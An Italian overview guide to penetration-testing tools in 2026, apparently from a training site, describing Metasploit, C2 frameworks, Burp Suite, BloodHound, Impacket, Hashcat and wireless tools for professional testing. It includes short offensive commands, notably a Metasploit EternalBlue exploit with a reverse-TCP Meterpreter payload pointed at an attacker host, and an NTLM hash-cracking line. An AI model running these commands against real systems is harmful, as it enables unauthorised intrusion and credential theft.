Migliori Tool per il Penetration Testing nel 2026: Guida Professionale

Il penetration testing professionale richiede una toolchain affilata. Un buon professionista conosce i propri strumenti in profondità piuttosto che averne decine usati superficialmente. Questa guida presenta i tool che compaiono regolarmente negli engagement reali nel 2026.

Framework di exploitation

Metasploit Framework

Il framework di exploitation de facto del settore. Contiene migliaia di exploit, payload (Meterpreter, shell, stager) e moduli ausiliari per ogni fase dell'engagement.

La versione open source (Metasploit Framework) è gratuita. Metasploit Pro aggiunge report automatici, replay degli attacchi e funzionalità enterprise.

msfconsole
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker_ip
run

Guida completa: Metasploit Tutorial

Empire / Havoc C2

Framework di command-and-control post-exploitation. Havoc (open source) è diventato lo standard de facto dopo che PowerShell Empire è diventato meno evasivo. Usato dai Red Team per simulare APT realistici.

Cobalt Strike

Lo standard commerciale per le operazioni Red Team avanzate. ~3.500$/anno per licenza. Le sue funzionalità di evasione AV/EDR e comunicazione C2 flessibile lo rendono lo strumento preferito per simulazioni APT su larga scala.

Ricognizione

Amass

Il tool OSINT più completo per la scoperta di asset. Mappa domini, sottodomini, range IP, certificati TLS e relazioni tra organizzazioni.

amass enum -d target.com -passive

Subfinder

Alternativa più veloce per la scoperta di sottodomini. Si integra con molte API (VirusTotal, Shodan, Censys) per risultati più completi.

Nuclei (ProjectDiscovery)

Scanner di vulnerabilità basato su template YAML. Permette di scansionare migliaia di host in parallelo con check personalizzabili. La community contribuisce centinaia di template per vulnerabilità nuove in pochi giorni dalla disclosure.

nuclei -u https://target.com -t vulnerabilities/

Sicurezza applicazioni web

Burp Suite Professional

Lo standard per il testing delle applicazioni web. Il proxy intercetta tutto il traffico HTTPS, lo scanner rileva automaticamente le vulnerabilità OWASP Top 10, e l'ecosistema di estensioni (BApp Store) aggiunge funzionalità specializzate.

Funzionalità chiave:

• Scanner attivo: trova SQLi, XSS, SSRF, XXE e decine di altre vulnerabilità
• Intruder: fuzzing avanzato con payload personalizzabili
• Collaborator: rileva interazioni out-of-band (blind SQLi, SSRF)
• Turbo Intruder: brute force ad alta velocità

Caido

Alternativa moderna a Burp Suite, costruita con Rust per performance superiori. Ottima per chi cerca un'esperienza più fluida su sistemi con risorse limitate.

OWASP ZAP

Soluzione open source per team che hanno bisogno di integrare il DAST nel pipeline CI/CD senza licenze costose. Meno potente di Burp Pro per uso manuale, ma eccellente per automazione.

Active Directory e ambienti Windows

BloodHound / SharpHound

Visualizza le relazioni in Active Directory per identificare path di privilege escalation. SharpHound raccoglie i dati, BloodHound li visualizza in un grafo interattivo.

Esempio di query Cypher in BloodHound:

MATCH (n:User {owned:true})-[r*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN n,r,m

Impacket

Suite Python per protocolli di rete Windows (SMB, Kerberos, LDAP, DCE/RPC). Strumenti come secretsdump.py, psexec.py e GetNPUsers.py sono fondamentali per le fasi di post-exploitation su Windows.

Responder

Avvelena i protocolli di risoluzione nomi broadcast (LLMNR, NBT-NS, mDNS) per catturare hash NTLMv2 in reti Windows. Uno degli attacchi più efficaci su reti aziendali mal configurate.

CrackMapExec (CME) / NetExec

Per la ricognizione e l'esecuzione di comandi su reti SMB/Windows in blocco. Permette di testare credenziali su centinaia di host in parallelo.

Password auditing

Hashcat

La velocità conta. Con una GPU moderna, Hashcat crackea milioni di hash MD5 al secondo. Supporta oltre 300 tipi di hash e molteplici modalità di attacco (dizionario, brute force, rule-based, combinator).

# Attacco con dizionario e regole
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

John the Ripper (Jumbo)

Più flessibile di Hashcat per tipi di file cifrati (KeePass, ZIP, PDF, SSH keys). La versione community "Jumbo" supporta molti più formati.

Reti wireless

Aircrack-ng

Suite completa per il wireless pentesting: deauth, cattura handshake WPA/WPA2, cracking offline. Ancora il riferimento per il testing Wi-Fi.

Bettercap

Framework per MitM, analisi di rete, BLE e Wi-Fi. Più moderno e completo di ettercap, supporta script per automazione degli attacchi.

Piattaforme di gestione degli engagement

PlexTrac

Piattaforma di gestione dei report di penetration testing. Permette di costruire report professionali rapidamente, tracciare le vulnerabilità nel tempo e collaborare con il cliente.

Dradis Community

Alternativa open source per la gestione della documentazione durante un engagement. Centralizza le note, gli screenshot e i dati degli strumenti in un unico workspace.

Come costruire la propria toolchain

Non esiste una combinazione universale. Il set ottimale dipende dal tipo di engagement:

• Test di rete interno: Nmap, Metasploit, BloodHound, Responder, Hashcat
• Test applicazione web: Burp Suite Pro, Nuclei, SQLMap, Gobuster
• Red Team / APT simulation: Havoc C2, Cobalt Strike, Impacket, BloodHound
• Wireless: Aircrack-ng, Bettercap, Hostapd-WPE

Inizia con gli strumenti fondamentali — Nmap, Metasploit, Burp Suite — e aggiungi specializzazioni man mano che cresci. Pentevo Academy offre laboratori pratici per imparare questi strumenti in un ambiente sicuro e legale.